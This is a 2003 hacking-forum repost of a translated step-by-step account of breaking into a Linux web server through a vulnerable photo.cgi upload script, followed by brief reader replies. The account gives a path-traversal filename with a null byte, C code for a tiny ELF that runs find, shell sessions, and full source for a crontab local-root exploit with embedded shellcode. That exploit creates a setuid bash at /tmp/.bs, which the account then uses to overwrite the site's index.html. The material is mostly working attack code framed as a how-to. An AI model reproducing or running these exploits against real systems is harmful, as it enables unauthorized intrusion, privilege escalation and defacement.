黑色海岸线论坛 - Powered by Discuz! Board

标题: [转帖]CGI的一次典型入侵 [打印本页]

作者: 冥罪 时间: 2003-2-25 22:48 标题: [转帖]CGI的一次典型入侵

好像看到有人问起有关于CGI入侵的问题。。。转一篇文章来看看吧。。。 ************************************************************************ 如果我们可以修改变量$write_file，那么我们就可以写系统中任何文件了。这个$write_fi le变量定义如下： $write_file = $Upload_Dir.$filename; $Upload_Dir 是由配置文件定义的，我们没法修改，那么$filename呢？ photo.cgi的226行如下： if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); } $filename = lc($UPLOAD{'FILE_NAME'}); $filename =~ s/.+\([^\]+)$|.+/([^/]+)$/1/; if ($filename =~ m/gif/) { $type = '.gif'; }elsif ($filename =~ m/jpg/) { $type = '.jpg'; }else{ {&Not_Valid_Image} } $filename的值来自$UPLOAD{'FILE_NAME'}（是由表格提交给CGI的变量中解析出的）。为了让我们到我们希望到的地方，$filename必须满足一个正则表达式，我们不能简单的发送我们需要的文件名，例如“../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd ”就是不行的，它在通过如下的替换后，将什么也得不到： $filename =~ s/.+\([^\]+)$|.+/([^/]+)$/1/; 如果$filename与这个正则表达式相匹配，那么它将变成ASCII码的1（SOH）。除此之外$fil ename还必须包括“gif”或“jpg”，否则它将无法通过Not_Valid_Image的检查。在进行了一翻尝试，我终于在Phreck的有关perlCGI的安全的文章的帮助下发现了 /jfs/.. /../../../../../../../../../../../../../../../../../../export/www/htdocs/index.html%00.gif 可以让我们提交index.html文件（我们必须修改的主页）。但在上载前，我们还得想办法骗过一些脚本代码。我们发现如果我们以POST的方法发送表格的话，我们就不能蒙混过关（%00将不会被解析），所以我们只能用GET了。在photo.cgi的256行，我们可以看到一段代码会对我们刚刚上载的文件的的内容进行检查，如果文件不符合特定的图象规格（主要是宽、高和大小），脚本将会删除或改写该文件，这是我们所不希望见到的，至少我们要在服务器上留下一些我们的资料。（注意，photo.cgi脚本可以用来上载一个由你的广告使用的广告图片。） PCWEEK在配置文件中将ImageSize设置成0，所以我们不用去管有关JPG的部分，让我们将注意力集中于GIF部分。 if ( substr ( $filename, -4, 4 ) eq ".gif" ) { open ( FILE, $filename ); my $head; my $gHeadFmt = "A6vvb8CC"; my $pictDescFmt = "vvvvb8"; read FILE, $head, 13; (my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHea dFmt, $head; close FILE; $PhotoWidth = $width; $PhotoHeight = $height; $PhotoSize = $size; return; } photo.cgi的140行如下： if (($PhotoWidth eq "") || ($PhotoWidth > '700')) { {&Not_Valid_Image} } if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) { {&Height_Width} } 所以我们不得不把$PhotoWidth设置成小于700，不是""，并且比ImgWidth小（缺省是350）。所以有$PhotoWidth !="" && $PhotoWidth<350。对于$PhotoHeight，它必须比$ImgHeight 小（缺省是250）。所以$PhotoWidth = $PhotoHe ight = 0 正好。从脚本中的付值方法来看，我们只要将该值的第6和9字节置0（NUL）就可以了。我们保证我们的FILE_CONTENT符合以上的条件，并继续进行下一步了…… chmod 0755, $Upload_Dir.$filename; $newname = $AdNum; rename("$write_file", "$Upload_Dir/$newname"); Show_Upload_Success($write_file); 经过以上的代码，我们的文件被重命名或者说移动到了我们不希望的地方了。查看有关$AdNum变量值的最后代码，我们看到它只能包含阿拉伯数字： $UPLOAD{'AdNum'} =~ tr/0-9//cd; $UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&＃%$@*//cd; $AdNum = $UPLOAD{'AdNum'}; 其他的东西都将被去掉，所以我们不能在这儿使用../../../../../../../../../的蒙骗手法了。怎么办？rename()函数需要两个路径参数，一个是新的，一个是旧的……等等，这个函数没有错误检验，所以如果它出错的话，程序就会跳过去，我们怎样能使它出错呢？用一个非法的文件名。Linux系统缺省的最长的文件名的限制是1024（MAX_PATH_LEN），所以如果我们能让这个脚本把我们的文件重命名成一个比1024字节长的文件的话就行了。下一步我们将提交一个大约1024字节的广告编号（AD number）。现在，脚本没有如设想的运行，因为他只允许我们上传存在的广告编号的图片。（做那个10 ^1024的数字花了我们不少的时间。）又是一个死胡同？没有，那个不完善的输入检测函数让我们有机会进一步的改进这个数字。简单的浏览一下ed it.cgi这个脚本，想一想，如果你输入一个名字然后是回车，最后是那1024个数字，会发生什么？哈哈，有了。那个long.adnum文件让我们有机会建立一个新的广告。当我们可以骗过了广告编号检查后，我们可以利用脚本办到以下的事情：建立/改写任何nobody有权限的文件，并且可以使该文件是我们希望的内容（除了为GIF留的有NUL的文件头）。好，让我们试试。确认脚本overwrite.as.nobody允许我们得到以上的权限。直到目前为止一切良好，我们调整脚本以便改写index.html……但是没成功。可能是我们没有权限改该文件（可能因为文件的所有者是root，或者文件没设置写权限）。怎么办？我们另寻出路吧。我们试着改写一个CGI，看看我们能否让它为我们工作。这样我们就可以寻找“绝密”文件了，那就胜利在望了。我们修改了overwrite脚本，很好，他允许我们改写CGI！我们决定不修改那些重要的（相对严谨）的CGI，我们选择了advisory.cgi（管它是干什么的呢？）。这样我们就可以上传一个能允许我们执行命令的shell脚本了，太好了…… 但是，当你以CGI的形式运行shell脚本的时候，你得在脚本的第一行对此加以说明，就象下面这样： #!/bin/sh echo "Content-type: text/html" find / "*secret*" -print 但是，别忘了，我们的第6、7、8、9字节必须是0或者一个很小的值，以适应有关图形大小的规定…… #!/bi0000n/sh 这样是不行的，内核只读了前5字节，然后就试图去执行“#!/bi”……就我所知，还没有我们可以运行的3个字节（外加#!两个字节）的shell。又是死胡同…… 一个ELF（linux的缺省的可执行文件的格式）文件给了我们答案，结果我们成功的将那几个字节置成了0x00，太妙了。现在我们需要将一个ELF可执行文件放到远端的服务器上。我们必须使它符合URL的标准，因为我们只可以用GET的方法，不能用POST，这样我们至少要符合最长URI的限制。对于Apache 服务器最长的URI为8190字节，别忘了我们还要用一个很大的1024个字符的数字，所以给我们的符合URL标准的ELF程序留下的空间只有7000字节了。它只能是个小程序了。 lemming:~/pcweek/hack/POST# cat fin.c #include main() { printf("Content-type: text/html "); fflush(stdout); execlp("/usr/bin/find","find","/",0); } 编译后如下： lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin* lemming:~/pcweek/hack/POST# strip fin lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin* lemming:~/pcweek/hack/POST# 然后让它符合URL的标准： lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url lemming:~/pcweek/hack/POST# ls -l fin.url -rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url 要在我们的脚本中使用的话，它是过大了。我们只有靠我们的直觉来手工编辑这个二进制文件了，我们决定将这个可执行文件中“GCC” 字符串后的所有内容都删除。这么做几乎没有任何理论的根据，如果要根据的话就得研究EL F规范了，但是这么做似乎还可以： lemming:~/pcweek/hack/POST# joe fin lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin* lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url lemming:~/pcweek/hack/POST# ls -l fin.url -rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url lemming:~/pcweek/hack/POST# 现在，我们合并我们的工作成果，然后运行…… 我们查看在我们目录中的名为get、sec、find的文件，希望获得更多的信息。在这里你会找到to_url 脚本，和一些简单的C文件，这些东西和URL一起解析，就大功告成了。现在我们上载这个CGI，然后用我们喜欢的浏览器访问它： wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi ; 这样我们对服务器上的/ 进行了全面的查找。但是他们的“绝密”文件没在那，或者以nobody的身份无法访问。我们尝试了一些命令组合，如locate、ls和一些其他命令，但无济于事。如果这个文件存在，那么它究竟在哪。现在问题严重了，必须要root的权限了。正象我的一位朋友说的那样，有现成的为什么不用呢？所以，根据我们知道的有关那台服务器的情况（Linux，i386，因为我机器就是i386，并且我的那个ELF文件已经在它上面运行了）。我们查找了软件更新的数据，发现了一个对所有版本的RedHat都可以利用的crontab漏洞（译者注：细节将在后面讨论）。你可以在最近的 bugtraq/securityfocus 中找到。太好了，我们根据我们的需要对其加以修改，显然我们根本不需要一个交互的根用户shell，我们只要做一个nobody可访问的suidroo t的shell就行了： #include #include #include #include #include char shellcode[] = "xebx40x5ex89x76x0cx31xc0x89x46x0bx89xf3xeb" "x27w00w00:Ifwewerehackerswedownyourdumbassx8dx4e" "x0cx31xd2x89x56x16xb0x0bxcdx80xe8xbbxffxff" "xff/tmp/w00w00"; int main(int argc,char *argv[]) { FILE *cfile,*tmpfile; struct stat sbuf; int x; chdir("/tmp"); cfile = fopen("/tmp/cronny","a+"); tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH); fprintf(cfile,"MAILTO="); for(x=0;x<96;x++) fprintf(cfile,"w00w00 "); fprintf(cfile,"%s",shellcode); fprintf(cfile," * * * * * date "); fflush(cfile); fprintf(tmpfile,"#!/bin/sh cp /bin/bash /tmp/.bs chmod 4755 /tmp/.bs "); fflush(tmpfile); fclose(cfile),fclose(tmpfile); chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH); execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0); } 经我们修改后，使这个shell指向了/tmp/.bs。我们重新上载CGI，并且用我们的浏览器使其运行，然后我们就准备进行测试了。我们做了一个CGI进行初次测试，它将执行ls /tmp。我们确实实现了suidroot。 ( ... ) execlp("/bin/ls","ls","-ula","/tmp",0); ( ... ) 我们接着将一个用来替换index.html的文件上载到了/tmp/xx。 ( ... ) execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); ( ... ) 应该做最后要运行的程序了： ( ... ) execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); ( ... ) 游戏到此结束了。共耗时20小时。最后我们将我们的资料上载并拷贝到了一个安全并且nobody可见的地方，然后向讨论组发了一个消息并且开始等待回音了

作者: Yuki 时间: 2003-5-19 00:54 标题: [转帖]CGI的一次典型入侵

共耗时20小时。
我晕

作者: 默读忧伤 时间: 2003-6-22 11:26 标题: [转帖]CGI的一次典型入侵

脚本很难明啊...

作者: 深蓝 时间: 2003-7-7 13:54 标题: [转帖]CGI的一次典型入侵

我运了~真是对不起啊~

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)